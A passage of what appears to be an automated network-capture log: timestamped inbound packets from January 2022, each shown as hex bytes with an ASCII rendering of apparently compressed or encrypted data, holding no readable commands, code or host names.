9a 75 8f 82 28 92 6b a6 c9 07 45 45 68 d3 Data Ascii: fns!e]^RXgM2v:Ay[cf?6712w$Bt9TZ#$`ksr$s=KZ@5HgwBJ"Li~f0W]2G_+m\|/9%[WB)`Ra~z\s:b5U+$p2\|Z\rn"{Ru(kEEh
2022-01-13 19:22:56 UTC	1128	IN	Data Raw: 3d 0d 7a b8 d2 4c 54 0f 28 ea 13 8a 25 0a 30 e7 2f 45 1f 80 c3 28 f5 cd 31 f6 a8 f1 c7 60 2f 94 66 8a 43 0b 70 92 2e 27 9c 17 d6 bc d4 ea 15 01 2c bd 89 94 70 fd 9a 3c 84 68 d1 ab 36 a1 2d f6 43 c3 62 83 c9 35 9c a6 f3 b2 58 74 c8 79 4b 45 32 17 ca ec 21 4c 45 33 9c 77 2e 09 2b d2 85 62 32 85 a1 e5 db 2c 0d 62 87 cd 66 3b 76 c4 41 37 dc 29 34 00 d4 f4 db 6d 0a b2 a6 26 d1 0b 35 26 c0 06 ac 9d 81 db 67 02 a8 5d 67 52 82 9c 18 5b 76 b7 f3 5b 5e be 0d 69 06 47 b6 21 56 8c f9 ae b5 27 96 f4 26 dc 96 90 6b a0 10 57 61 1a be 20 7f c7 6e 86 4d e2 2d 6e 2c cc 43 17 7d ae 80 f7 d2 54 46 7e ab 35 75 38 3f 40 c2 d5 62 6b e6 a6 b1 20 c8 46 6f 0d 92 8d 7e 22 f0 a8 0c 4e ad a2 4f 71 2b 87 9e 00 09 5a e9 54 71 94 97 e5 25 f6 2d 94 a0 1a 75 3c 88 c4 29 88 58 e7 59 69 4b Data Ascii: =zLT(%0/E(1`/fCp.',p<h6-Cb5XtyKE2!LE3w.+b2,bf;vA7)4m&5&g]gR[v[^iG!V'&kWa nM-n,C}TF~5u8?@bk Fo~"NOq+ZTq%-u<)XYiK
2022-01-13 19:22:56 UTC	1132	IN	Data Raw: a5 d4 5f 5f 3c e6 e8 fb 12 44 31 8f fc 18 fd e6 e8 66 ba d1 2c b1 db dc 80 7e 7f 00 c9 85 fc 3e 9f 96 cc f9 cb 7b 20 68 ee 27 aa 45 fe 54 a6 0a 3e f0 f9 61 58 b4 e9 7b 32 11 c8 fc fe e4 a9 82 59 60 ad bb 2e c8 0d c7 77 26 7d 21 f4 db 0a ad b7 cf a4 61 cc 34 64 01 fb 8a e3 36 46 a4 b4 17 72 da 22 d8 9e 11 df 15 d6 37 f9 73 c8 05 20 ff b2 87 9a 7d b2 f1 71 cb 5b 37 da 2b d4 7e b0 c4 87 3a 99 12 55 3e 30 b5 0f b2 a9 38 32 00 af bb 3a 85 aa 5a 35 74 b5 a6 07 3f a7 88 c3 b2 4b 2a 64 e0 89 76 aa 2d 80 aa fa 2d ce 69 3b f3 0f b2 a7 96 c5 40 69 08 a7 93 96 13 9f 87 cf 6b 06 11 3d 0f c9 73 32 44 31 fc 95 1c c6 d9 04 a5 8d e3 78 a2 07 3e 95 47 3c b4 68 f9 90 5d 0b 88 2d 1f 84 c2 68 ef 92 d8 1f fa 45 55 19 d4 43 bb 45 43 29 3a b4 4b 5a d1 50 d1 7a e1 79 d5 ab 58 42 Data Ascii: __<D1f,~>{ h'ET>aX{2Y`.w&}!a4d6Fr"7s }q[7+~:U>082:Z5t?K*dv--i;@ik=s2D1x>G<h]-hEUCEC):KZPzyXB
2022-01-13 19:22:56 UTC	1136	IN	Data Raw: d4 cf c3 50 44 cc 63 84 5f fd 29 67 d2 87 f6 14 ea 0f 69 be 66 f5 a6 6a 0a ad d6 75 f7 9a 1f 16 9c ed 12 1a 9a 13 7e 60 96 51 52 ab bc 41 2e 1a 64 35 d3 ee 59 4a 8a eb a5 a8 e6 c2 f5 6a 81 4a 59 14 c6 3e 19 40 88 74 66 31 e2 5b e2 dd a9 24 79 32 dc 11 43 55 5e 5a 08 33 61 98 d7 77 40 bb b9 65 be ab d9 f7 c1 08 a1 8a 08 2b fa 36 05 f0 da 74 dd a3 80 53 60 23 ac b3 3e b5 98 35 8f 3c 4a a1 cd 6f b2 36 e3 17 e6 0a a7 15 1b 86 4f fc 4d 6c ee db 97 9f 80 55 71 86 d7 fc bd 6c ba 18 dd 74 be 35 5b 2e ba ac fe c3 b3 40 d0 3d da 75 5c 4f cb da 03 24 57 60 31 70 cb 07 8e ce 58 51 c6 d9 bd 23 d0 b3 eb a7 e7 48 21 97 86 09 c6 a3 f9 ac b4 7d c5 3b a8 bd 36 58 a8 c9 5d 9f f9 49 40 54 44 21 34 98 88 90 38 4a 44 07 d7 b1 cb a1 f2 d6 8a b1 16 71 4e b4 32 52 06 27 f3 2c 04 Data Ascii: PDc_)gifju~`QRA.d5YJjJY>@tf1[$y2CU^Z3aw@e+6tS`#>5<Jo6OMlUqlt5[.@=u\O$W`1pXQ#H!};6X]I@TD!48JDqN2R',
2022-01-13 19:22:56 UTC	1140	IN	Data Raw: 89 b7 11 d7 99 47 80 ae ca 92 e3 60 66 56 3e c8 eb ec 30 91 95 32 ed 9c 25 33 1d b7 0b a6 07 48 15 f3 04 b7 b1 b8 2d 8d ba 1b 96 e3 10 95 0b a1 b6 e5 ed 3e 9e d4 74 fa 99 c0 30 ae d8 17 1c 8a 73 c4 38 90 e5 af a6 27 11 a0 5a 25 e8 a6 0c 5a fe 09 e3 6b b3 b6 d6 f1 02 ff ae 1e b8 4f a0 a9 f8 ff ea 7c 2b 30 0f 29 64 f0 8a 61 74 72 fc fe e5 a6 89 1a 1d 8f c0 d3 c5 e4 7f bd c8 f5 e6 cc b4 85 1d e8 a8 8e bd 40 5b fe 7a 8b 7e 0c 9f 90 98 05 16 d5 61 f4 8f 9d 03 a2 88 73 44 48 48 fb b1 23 ea 2a f9 07 68 aa d6 5e 74 84 fa 8d 77 6b 6e 63 d1 0b 8d 41 64 9f 3c 3b ba dc d5 a2 c1 d0 cf 3d d0 0d 7f 19 a8 c4 04 09 c9 8c f1 29 f1 30 ea e6 4a 15 a5 5f 2a 23 33 10 c4 f0 d5 be e7 9f 3c 48 ad e4 14 43 cd 98 de 5f d5 b9 8d 97 9b 04 e8 37 2f e4 df 3d ff 6d de 28 7b bc cd ab 9a Data Ascii: G`fV>02%3H->t0s8'Z%ZkO\|+0)datr@[z~asDHH#h^twkncAd<;=)0J_#3<HC_7/=m({
2022-01-13 19:22:56 UTC	1143	IN	Data Raw: c3 db 30 a2 ed 6b 10 70 76 3d bd 80 15 0b d9 e6 ca d6 8d bd f4 21 af 64 35 79 65 25 54 a2 88 d4 5a a8 ab fb c1 ff f8 b3 be 63 4b 9b de 59 db e8 ab 72 7d 6d d8 b4 49 cd f5 5b 4f a9 31 09 e4 be 37 01 66 c7 d1 5e 27 67 1b 1c 0c 86 55 39 47 63 fe 3c ff 30 8a 9e 69 5e 87 b8 58 d1 c2 70 eb 87 84 f7 f7 26 21 f6 8e 90 f4 3b d6 e9 bb a5 1a b9 90 43 fd 85 95 bf 10 a3 54 4d a9 5a df b0 84 01 e8 e0 5c ea 70 ce 82 6b 74 36 50 4f 38 40 e5 3d 5e 4c d5 0d 11 00 5c e1 3a d7 7b b4 9e 38 c0 a5 3d e1 1e b6 9e b4 27 ae ed 5b 2b 48 90 e7 59 56 69 c9 29 fe 18 9f 91 ec dd 98 dd ca a8 62 d3 7f 88 b3 03 d2 bb 20 63 12 6e 71 ec c1 1e c6 33 c1 4f 1b 93 68 21 0c ba a5 30 47 85 29 a6 19 4d e8 2b e2 9c c9 6d d7 a6 ce 82 8e 0e 78 bf d6 5b 60 34 b7 78 9c 97 13 91 a8 73 26 27 8f ae 80 4b Data Ascii: 0kpv=!d5ye%TZcKYr}mI[O17f^'gU9Gc<0i^Xp&!;CTMZ\pkt6PO8@=^L\:{8='[+HYVi)b cnq3Oh!0G)M+mx[`4xs&'K
2022-01-13 19:22:56 UTC	1147	IN	Data Raw: f2 49 be c3 d9 61 d9 6f ce 4e 21 37 d0 8f c8 aa ba de 76 0c e7 cb 7e 96 14 97 ab 6b 64 36 50 03 c7 7c 90 46 63 70 8c 71 5a bd 6d bd 08 2c 68 ff 87 cb 6c ba aa db 6f 15 74 35 b7 2e d6 2e 46 ab af 37 b5 e8 7b 22 de a4 05 6a df 22 65 88 3e de 37 9b a9 db ff 90 4a 85 a2 58 88 df 74 ed 9c fb 45 93 eb e6 22 57 eb 3f 2d 35 f5 d2 88 71 22 24 dc dc 18 4a 9a 3c 8d ea f0 2a c5 01 cc 98 f3 6b 3c b9 9d ce 93 3c 5e 67 fc 42 e1 fe ad 92 10 c2 17 49 47 84 2f 91 71 c5 45 15 57 f9 da c9 9c 18 48 32 e0 18 37 30 23 40 34 13 27 89 ab e0 32 57 a1 3e bc 28 35 4f bb f6 82 64 14 32 15 ff 60 73 57 06 bc 78 d9 d7 22 a1 e5 77 bc 9c e2 6c ec ef 78 95 9c c4 8f c7 b5 fd 27 c8 49 5a 06 cd 8e d3 0b 2e c5 54 55 ff 3d cf 36 f6 a2 4c a3 6b e6 e3 e4 93 8c d8 33 8a 66 84 51 6b 56 b6 05 db f8 Data Ascii: IaoN!7v~kd6P\|FcpqZm,hlot5..F7{"j"e>7JXtE"W?-5q"$J<*k<<^gBIG/qEWH270#@4'2W>(5Od2`sWx"wlx'IZ.TU=6Lk3fQkV
2022-01-13 19:22:56 UTC	1151	IN	Data Raw: a2 73 71 37 6b 87 d6 bc 2d 1c fd e3 78 2c c6 84 38 0b bf 32 96 14 4d f1 64 8f 15 5a 93 f7 bd d9 05 9d 6e 05 f9 31 09 d3 52 0c 49 e7 06 97 62 d0 94 59 12 75 e7 05 66 57 10 af 91 a7 b6 b2 5d 91 f9 d0 10 e9 37 6d 4e 72 19 cf 86 81 0e 85 c9 de fb f9 c6 fc a8 ff 3f 0f 5a 8c 89 c5 72 8c 5e 1e 4e aa d7 0c a0 34 4d 6f 84 ce 76 c4 1f cd bb c8 fd 7c 94 25 c7 42 0d c3 d5 7b f5 40 f6 22 ac d1 da 8d aa a2 67 a7 65 e6 66 a5 71 c2 fc 2d 77 6d 8f bd 70 5d ee e7 b9 09 6c 28 ed e8 56 a8 fe 44 24 b5 e0 02 03 e6 fc 81 1e 35 75 dd fc 79 50 8d 29 8b f0 98 d5 c1 9d c1 a3 2b 88 ff 3f 4a c9 37 bd b8 0a 01 da 83 7c e1 9e 85 7f 95 d7 77 92 bf 5b a5 42 22 ff 9c fa af ee b1 74 41 f9 7b b8 e9 1a 30 30 45 2c 4d af 11 0a 65 42 a0 b7 42 70 b1 61 41 58 88 91 71 3d 94 64 71 12 e8 8c bb dc Data Ascii: sq7k-x,82MdZn1RIbYufW]7mNr?Zr^N4Mov\|%B{@"gefq-wmp]l(VD$5uyP)+?J7\|w[B"tA{00E,MeBBpaAXq=dq
2022-01-13 19:22:56 UTC	1155	IN	Data Raw: 26 b5 fe 0e c9 26 4b 49 d2 de 80 12 ce 65 59 37 e1 34 41 da 3b 33 8f 13 3e 2b 9a e4 bf 22 55 c2 28 48 5e f6 e2 26 ff d4 b1 a6 a4 23 e7 83 af 03 d6 8b 5a ee 39 e3 00 ec d9 18 3c 92 dc 60 3a ee 49 0b 65 2f c3 8e 42 d5 7c 3a 54 38 e0 cf 15 67 80 c8 ee 4d 38 f7 d4 a3 ef 96 04 f2 1a 97 79 21 a4 0c 7a 41 31 6b a2 6e 51 43 f8 e7 ec 25 5a 85 ba 57 68 59 1f 2e bb 99 f0 87 f5 7e 6a 73 7b 10 df 5f 52 8d d9 66 95 bd 56 d4 85 c9 f9 13 09 a7 90 ff d5 13 69 42 fa 78 2d c5 d7 76 97 6e 42 6f af e6 99 f9 50 76 13 59 df 10 df 3b 77 cf 22 6d 92 cc 9d d9 e6 46 55 bc ca 3f 3e 56 2a 46 74 78 93 3a c9 3f 04 fe 74 7e 5c 22 4b b2 0b 99 e5 20 4a 06 b1 1d c6 6f df 54 ab 41 4f e4 e7 65 72 bf bc fb aa ea 7f f2 4f de 25 2f 0b 16 ef 4d 0c 9e 5f ea 76 61 d4 87 6d 74 57 73 02 0e 11 75 d5 Data Ascii: &&KIeY74A;3>+"U(H^&#Z9<`:Ie/B\|:T8gM8y!zA1knQC%ZWhY.~js{_RfViBx-vnBoPvY;w"mFU?>V*Ftx:?t~\"K JoTAOerO%/M_vamtWsu
2022-01-13 19:22:56 UTC	1160	IN	Data Raw: 36 bf a9 43 44 1b c1 99 43 04 f5 66 1b a0 51 b6 ad 35 4d e9 f1 a8 1c 31 d9 09 6f d5 c0 bb 95 93 c8 c3 7e b4 81 b1 72 3d 9f e2 fa a7 8e b0 03 6c 4d 73 f6 b1 72 da a4 b1 53 3f 55 b3 37 a8 e3 82 b2 39 f2 8b 59 d7 ea b5 10 35 83 a1 48 73 da ff 50 c3 7b ac c2 2c 3a d7 28 cc 23 b2 7a 2e 3c 05 77 a6 ac 02 c2 73 6f 20 ee a8 35 ff 3f 75 b2 32 0e 44 54 20 1a a1 eb 17 0d 2c 11 99 26 a8 75 ff 9d 90 9c 43 90 fe 88 39 a6 b7 36 c7 43 68 9e b6 50 9b ba 7a 89 88 6b 4d ca 4c fd 5e 04 64 0b 98 1e ab 06 93 78 b8 dd 86 42 35 51 ab 7d af ec 78 99 c5 4b fe e8 2f b4 2b 66 16 00 0a 63 15 95 a6 49 9c cf 52 a5 a1 e2 dc 16 5f 1e df ab f6 d9 45 12 22 07 79 d6 a0 60 47 58 7f b9 78 2b fd ed 9a 38 ef 88 b5 80 87 79 fe d4 e0 ea ac d8 77 fc ba ed f1 c2 91 4c c4 d8 2a e7 4b e9 95 d8 34 f0 Data Ascii: 6CDCfQ5M1o~r=lMsrS?U79Y5HsP{,:(#z.<wso 5?u2DT ,&uC96ChPzkML^dxB5Q}xK/+fcIR_E"y`GXx+8ywL*K4
2022-01-13 19:22:56 UTC	1164	IN	Data Raw: 00 76 c2 fc 7e 81 7a 7d 35 9f 91 a9 27 88 e2 e6 5d e9 5c 7b c8 a1 c4 69 55 dd 11 45 7b 2e 9c 60 68 c9 e8 ad 4b 65 86 e9 a8 12 ab 01 8b f8 3b d9 19 1c 42 24 05 35 05 82 6d 32 0d 89 38 3c bb 2b e5 ed b4 84 12 7a a7 95 1d 15 d5 5d ed 26 e8 4e d7 d2 42 9f 30 a2 3d 31 af 94 12 d8 8e ad 2a 69 0f f2 b1 4a 97 0e 0b 93 ff 64 c2 07 8c 87 c0 e3 5f 81 e5 08 62 45 2e 5d b7 32 53 6a fd 8e 22 6a f5 2d c5 89 2b 30 03 8b 29 cb 6b 58 70 de 75 41 25 bf 30 ff 0a 42 3e 7e e2 17 94 e2 e2 11 43 38 49 8a c5 08 58 64 29 90 ac e1 49 0c be 6d 8b 9b be 8a 85 0a e7 03 64 79 9c 1f 5c 71 ff 3a c7 86 2d 0c 67 74 6e 8f 75 0c 52 10 73 b9 65 88 e8 a1 14 ab 03 7b 3b 14 d5 38 ab 2e 8a ee 1b ed 8b 9e 92 c6 4b e2 00 5d 7c de 94 da d8 f4 18 3a 30 23 8e be 1a 4f 5e a4 6a eb 7e f8 45 16 4b 22 a0 Data Ascii: v~z}5']\{iUE{.`hKe;B$5m28<+z]&NB0=1*iJd_bE.]2Sj"j-+0)kXpuA%0B>~C8IXd)Imdy\q:-gtnuRse{;8.K]\|:0#O^j~EK"
2022-01-13 19:22:56 UTC	1168	IN	Data Raw: ff 13 7c 8e 2a f1 df 48 3d 1b 04 ed 7a 7c 4d 9b 0a 26 dd b1 7d 6b 52 98 ee ca f4 5c 0c 39 03 e9 74 b2 12 70 6c ca 05 1d 3f 79 24 0c 55 d4 ce c8 ad 58 23 a4 21 2a 11 a1 a0 bc 13 77 d6 2c 7b 23 fb 63 54 4e f6 75 17 db 93 d3 3f 5d fb d4 84 66 b5 73 d5 3c 79 a0 fa 7d 51 5a 83 e4 2f 84 e7 1c 85 a0 58 d5 bd c5 b2 b4 42 18 4b 5e 76 4c 2d 4f f6 e1 91 79 ae c5 6c 81 32 f6 6f fe bc 46 2b 3e b3 6f 13 45 24 9c 52 68 09 09 96 1b 4a 34 b6 15 46 6a 0a 2e 94 c4 0f 25 da a9 f1 66 3f 13 17 63 70 4e 29 d0 bb 73 ca c0 96 f2 03 17 36 bb f4 84 25 96 ac 87 e6 55 a4 2f 74 80 06 d3 1b d0 de 2e c3 d9 41 fa 0a 1b 68 d5 fc c6 d7 3c a2 40 3d e4 dd 53 97 35 5c 18 36 c1 ad e8 bd 1b f6 e9 cd 9e 53 67 25 89 32 19 3b 24 37 a9 be d7 7c 20 d1 b7 63 db 8f 3d b5 76 50 46 91 e5 28 02 d4 81 3a Data Ascii: \|H=z\|M&}kR\9tpl?y$UX#!w,{#cTNu?]fs<y}QZ/XBK^vL-Oyl2oF+>oE$RhJ4Fj.%f?cpN)s6%U/t.Ah<@=S5\6Sg%2;$7\| c=vPF(:
2022-01-13 19:22:56 UTC	1172	IN	Data Raw: 8f e9 dd d0 2a 71 ab 60 e7 f2 45 9e ba 54 6e cc 0a f5 55 ca b6 3f f3 20 ad 52 2e 29 fd b1 3d 39 b1 88 d8 7d 5d 44 ec cb 81 35 b6 23 3f 99 d8 81 59 cb d8 32 5f 48 57 3c da 4c fb 4b cd 4d d0 3e 43 53 f1 ca 8c 5a f1 44 8f f9 39 b5 4f ce 37 c6 08 d2 e5 e3 c6 da 1a 29 fc b0 cf 2f 5b 69 3c d0 e5 87 54 ef f1 71 08 cd 7e 1e 03 4e 9d 40 e2 95 8f 15 66 32 00 66 0a f3 69 0e f7 91 09 d7 7b 92 1f 23 b9 f6 23 6e bb 54 e5 d1 3b e6 cd df 09 85 33 3e 9d 44 35 42 3e 5a 99 86 9d 6b 79 fe 99 51 0a 70 6e 2d a7 9e c1 da 35 62 35 e2 d3 23 9c d8 6c 9e 1a 48 f4 f9 bf 49 32 f4 fb c9 b5 0c 9c b7 79 73 d3 f5 58 9e 0a 49 0d 8b be 1e 76 b2 d6 17 e2 91 b8 9e 45 2a 5c cb 9d 81 fa ff 77 6e 2e 12 0a 79 d0 05 a9 a9 48 30 23 08 42 41 96 78 fa 4a 20 82 e4 f3 52 3e 54 8d 2b ba 82 52 42 1c f0 Data Ascii: q`ETnU? R.)=9}]D5#?Y2_HW<LKM>CSZD9O7)/[i<Tq~N@f2fi{##nT;3>D5B>ZkyQpn-5b5#lHI2ysXIvE\wn.yH0#BAxJ R>T+RB
2022-01-13 19:22:56 UTC	1175	IN	Data Raw: c5 9c 13 46 5e 75 15 e1 7c 16 dd c4 84 02 c9 6a 06 96 09 36 14 cc 89 e3 e5 89 98 99 b6 df 41 6b 05 32 5a 69 94 be d4 e2 80 31 f3 c2 d4 d0 0e 9e 23 74 61 78 27 ab 27 9e 0f c3 3d f9 2f 6b 36 45 9a 0e 21 b2 ea 02 93 d3 7a 7d b4 86 b7 ca 4d 04 8c ca 67 44 26 fe 72 07 d5 54 15 24 7e fc ef 24 56 ad 9d 35 7d 72 8b 08 f9 db 62 59 fe 9f e2 e4 de 2e 49 02 ad 97 14 50 96 3a 84 a7 1a 3b 59 70 8f 4b 26 ca 6b 37 fc da 14 74 e9 b2 65 6d 15 de 37 28 8a b1 f7 41 89 b8 18 70 d9 ce a1 3d 5f a8 a8 d7 bc e0 05 5b 12 99 9b ea 95 03 69 be d4 e6 6b 9f 28 eb 48 9c 70 cc 01 0f 13 df d2 05 e0 91 2a e8 66 6d a4 25 f7 05 dc 09 f3 2a d1 f6 a6 79 6f 16 2a c4 71 78 25 35 39 29 06 99 88 5e 62 20 a8 38 af 7c a3 65 e0 c5 b1 94 56 85 9c d9 e3 9e 5b 8e 17 42 5d 93 90 0d d1 8f 26 5f 78 a8 46 Data Ascii: F^u\|j6Ak2Zi1#tax''=/k6E!z}MgD&rT$~$V5}rbY.IP:;YpK&k7tem7(Ap=_[ik(Hpfm%yo*qx%59)^b 8\|eV[B]&_xF
2022-01-13 19:22:56 UTC	1179	IN	Data Raw: c8 a4 40 72 05 3b 98 0d 35 44 b7 9a 4f 52 11 26 26 3e 3c 4f b2 96 5f 9a 26 ba 29 a7 f1 d7 cb c6 1b 9c 00 af 1c 19 86 24 17 a9 b3 bf 51 43 33 8f b8 5a cc 84 bc fd 7c f4 8c 8a 22 b2 85 13 81 0f 82 dd 1c bd 9a 86 b4 42 51 66 e5 0b 11 68 7e f2 a2 d4 91 2d 3a 23 38 06 f3 33 21 d3 ec a0 ce a8 ea ab a7 84 0a d6 79 47 08 3c 6c 17 ed 9e 5e d5 b4 1c 11 92 27 23 3e b0 1a 77 9f ce 5b db ed c1 7b 84 b3 6b 03 33 ac 46 d7 26 75 0c 65 af c8 f6 b9 73 89 e3 09 1d 64 b3 16 83 53 4c 8c 5a bc a0 76 98 a4 5d 97 af 39 57 f1 a5 df 96 17 c2 e2 f4 23 4a ad 98 71 16 da 32 d3 d2 0c 49 8d ed 1f 30 96 0a 52 43 16 bf 8b 63 27 78 57 af 2b af e0 f2 50 f7 be 83 df db dc 0d ce a1 73 22 11 ad 1c 72 3e 32 d4 fa 2a a6 50 56 2e e1 14 76 18 b6 83 4f 8b 74 36 35 8f ed 0e 6e 74 b4 2f 6b b2 2d e0 Data Ascii: @r;5DOR&&><O_&)$QC3Z\|"BQfh~-:#83!yG<l^'#>w[{k3F&uesdSLZv]9W#Jq2I0RCc'xW+Ps"r>2*PV.vOt65nt/k-
2022-01-13 19:22:56 UTC	1183	IN	Data Raw: 6d ac 05 08 2d 70 7a 2b f3 56 d6 c6 68 c0 6b 69 1f 0e a7 83 b7 08 cd 93 1a 9c d5 f1 72 0a 28 ea 9d 87 83 b9 46 8a 77 b8 1e 4b a8 01 f6 0f 2c 95 b2 99 d5 27 49 ae db 98 58 c6 d9 24 97 06 36 1d 5f 95 a8 dc 69 de 87 77 23 d6 ba 27 46 c3 7c e1 04 d9 75 9e c2 0f 3c c3 e2 92 4c 80 59 4c 91 2c f9 23 81 cd e0 da d0 c4 4a 86 d8 14 85 32 00 f0 0b 0e 2f 53 b8 3a 11 7b 03 d3 8c 08 e7 0d bd 65 a4 4f 2b bc 27 ee 4d 9e b4 6a 32 c2 0a f8 14 ce 95 8c ad 62 cd d2 27 41 fa fa 3a b9 33 67 f8 16 da ae ae 2f 5f de f1 8f f5 eb 4b 71 19 df 80 10 4c 9a f9 6d 54 3a 5a 43 ea 8a b2 8c 90 03 32 83 f1 6f 1f 94 90 43 d0 2d 03 5c 9b 5c 30 ac 53 8b 1e 7c ad db d9 5d be 7e 71 b1 04 ea 0c f8 df 9d 95 46 c6 eb 1d b5 1d da a6 12 41 e6 e9 64 b3 87 cf 95 07 1b 0b 0b da ff 54 55 7b e0 91 13 16 Data Ascii: m-pz+Vhkir(FwK,'IX$6_iw#'F\|u<LYL,#J2/S:{eO+'Mj2b'A:3g/_KqLmT:ZC2oC-\\0S\|]~qFAdTU{
2022-01-13 19:22:56 UTC	1187	IN	Data Raw: 27 b2 ed d3 3d 3e 8b e7 e1 8c 0a fd 79 48 8b 64 e5 f6 4f 6a 2e 0c e9 7b 7e ab fd 8f ff e2 7b c3 bd 59 5e 87 cc 85 1d 81 e6 44 a7 26 38 d3 71 2e a1 b7 c7 56 92 03 5a 53 2a 61 7d 8d bd 62 e6 0f 73 81 a8 cc d8 ca 7d c7 00 72 90 c9 2d 95 54 4e 59 7f 36 a6 98 bf 18 00 69 90 91 bf ac 24 db f1 e2 47 a2 37 e9 01 9f 06 ae ce 23 32 72 a9 82 00 c3 cd 9e 08 60 fa 0f 79 64 2d 44 65 bc 1a b2 f0 41 e5 1b 26 4d 06 46 40 a5 e0 90 10 31 49 f3 24 44 bb 77 c5 3e 3c 66 13 78 56 2d 9a af ed 89 f5 ad cd 5a c9 7d eb d2 72 25 fa ca ae 2f 59 e4 f3 ec 6c 9b eb fe 45 d2 d9 39 71 e1 5e 1c 6e c1 e0 1d 13 a6 bb b6 b5 6d 17 ed e5 28 03 6f 41 b8 28 9f 1b 6b 9c fb 64 40 1c b2 84 4b 78 50 76 bb 56 08 ac 0d 19 6e de 92 ee 0b 20 4b f6 90 ed 68 87 9b d1 ff 38 69 aa 6c cf 72 dc 10 66 c9 0d b2 Data Ascii: '=>yHdOj.{~{Y^D&8q.VZS*a}bs}r-TNY6i$G7#2r`yd-DeA&MF@1I$Dw><fxV-Z}r%/YlE9q^nm(oA(kd@KxPvVn Kh8ilrf
2022-01-13 19:22:56 UTC	1192	IN	Data Raw: 4f 19 c7 30 e5 6e e1 af 18 51 7d ba 90 89 41 0a 96 c0 8e 58 c5 01 a2 db 9f c1 8d a2 d6 d7 ca 72 62 c8 df 55 4c 6b 1a 5e d8 93 a1 47 8c 8e fe 2e 16 69 13 e2 45 8f a7 0f 68 a6 da a7 57 9a 6b 74 ca dd c7 23 e3 60 80 16 f1 05 d8 dc b1 af 26 be 55 33 97 2d d2 00 23 d3 51 18 2d 00 83 33 7b 62 60 e0 b6 1a 43 9b 4d 9d b1 be fd cb 5a 2f b0 6c 83 2e 1c 66 e0 03 07 5d 31 03 96 d5 26 a9 b3 89 21 2b fc b7 04 d1 a1 c0 2e 07 10 c5 9d a5 a1 df 6e 04 99 e8 7f 13 34 ff 91 0c d9 7f bf 77 19 9b 14 30 69 d0 0f 29 ee 83 a6 89 89 63 06 e2 a8 93 87 7b 4a 7c c8 1b 95 35 44 04 c3 90 9a 80 1d bd d9 a9 e9 06 e9 3e e3 ef d9 9d 57 b0 65 b0 0a d0 af 32 08 42 0c 41 90 c3 e9 12 4b 4b 08 f0 be df 63 8e bd e5 df 28 1a 8b 9d 57 5a 52 9f 26 cc 99 28 42 a8 78 b6 30 5d 12 dc f1 69 05 e6 c9 8a Data Ascii: O0nQ}AXrbULk^G.iEhWkt#`&U3-#Q-3{b`CMZ/l.f]1&!+.n4w0i)c{J\|5D>We2BAKKc(WZR&(Bx0]i
2022-01-13 19:22:56 UTC	1196	IN	Data Raw: bc 6a b6 18 47 62 97 c6 40 ec 16 9c 95 a8 85 d5 90 85 d9 2d 7f a0 e3 52 0b 1c c3 c4 0c b8 52 32 03 28 ff 61 0b 8f fa dd 7b 97 c7 96 4d 9d c8 94 ac 96 7d a3 a3 a9 5d 6f d8 79 b9 1b b7 0f 89 5a 0e a4 12 83 29 d2 90 c1 1e 05 4e da 5d 8c aa 02 e8 85 15 48 52 68 b1 ee 8b 1b 66 96 05 fd 98 27 7b 21 f5 f2 1b e1 20 74 2c 86 fc 2d 45 fb 7c 69 b2 02 23 3b 59 49 3c 28 4d b7 c0 91 f9 5e 7b bf 3c 9e 5b df ef 99 ee 80 66 95 1a 25 1f 24 ec b0 84 c5 74 64 4c 1c 98 fe 17 7f 72 c5 b3 7d 8d d2 f9 d4 89 3e 74 13 c2 31 28 df 8b 60 d5 9d e9 23 ef 98 f8 c5 8a 9b 9c 1b 0b 29 30 6b 8f 43 9e 68 8b e2 e1 52 83 c3 f9 7d c5 6a 80 07 f5 4e fe 0e d6 b8 9c 04 02 23 63 13 dc 14 c8 8f a9 98 47 8f cc cb 7e 71 4a 25 59 e0 83 d7 ad df a8 f5 35 07 33 ab 64 cf c0 0a 57 13 ca 5d 14 57 16 a7 d3 Data Ascii: jGb@-RR2(a{M}]oyZ)N]HRhf'{! t,-E\|i#;YI<(M^{<[f%$tdLr}>t1(`#)0kChR}jN#cG~qJ%Y53dW]W
2022-01-13 19:22:56 UTC	1200	IN	Data Raw: 8e 4f 87 2a b6 b8 32 22 9d f2 15 7a d2 48 2b f7 42 94 64 cb 1d 3e 09 5e 9b 3f fa 35 da 46 6e d6 6a cd 93 1d cb 99 e0 1c ee 43 81 8b de 1c 33 dc 1e 2d fa 69 2e a8 1b fb e9 66 f9 28 1f 5c c2 ee 6a c8 09 57 0d 40 8f 22 23 cb c5 dc 73 d2 3f 83 91 1b ec 8a 2a fd f5 d6 0b f8 75 a2 b2 30 00 67 ee b8 00 11 94 c8 f7 c0 bd 86 e3 b6 31 39 21 2f db 76 18 49 b6 35 54 1a 63 ad 97 9e d7 bb 91 fe 81 37 5c f0 8a 8c d2 ae 89 e1 64 53 ef 13 5d 91 f6 22 9c f6 e3 b9 38 8b c8 99 97 e5 ce 23 ef af 43 25 9d d5 eb f3 22 14 6e e7 f5 f4 39 c4 9d 80 8a 16 80 e9 47 69 2b 78 25 80 63 9a c2 11 fa cc 74 02 59 fe 53 c2 2e 67 ca b8 46 ee 64 5c 05 d6 6e ea d1 30 4d d9 95 5f 49 b7 5d 31 91 4f 7e b1 d9 08 6e 63 1e 7e 61 d5 11 6c 97 b2 1b 13 d2 fb 5e 92 e6 76 40 c2 f8 ee 3d 60 3f 1a 65 12 38 Data Ascii: O2"zH+Bd>^?5FnjC3-i.f(\jW@"#s?u0g19!/vI5Tc7\dS]"8#C%"n9Gi+x%ctYS.gFd\n0M_I]1O~nc~al^v@=`?e8
2022-01-13 19:22:56 UTC	1204	IN	Data Raw: 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa a0 1e 9b ef c8 ef c8 eb c1 57 99 fa a0 76 5c 8b 2a 71 d3 0b 31 f8 bc a0 fb b7 4c b0 dc d3 8a 01 db 59 9c 51 aa 6c 66 c1 a2 4a 3a 68 7f 7d cd d6 73 92 9a cd 9f 24 86 f8 bc 6c 66 29 73 ba 35 05 c2 41 49 d9 f9 43 4d da 7b bc 39 26 8d 1c 97 0e b6 cf 83 3a d9 e4 50 31 65 e3 ef d9 f9 13 23 2d 7a 62 70 70 51 97 07 ff 2d 4f a6 d7 f4 78 41 80 b3 80 b3 84 bc e4 51 73 d6 a6 e7 07 c7 7c 4a d3 8b cf 82 57 98 74 58 e2 6c 93 1d e8 59 11 3d d7 f4 30 e2 ec 42 56 16 30 e2 f8 bd 2a f5 9a 8d b8 cf 26 8c 0e b7 f1 cd 26 8c 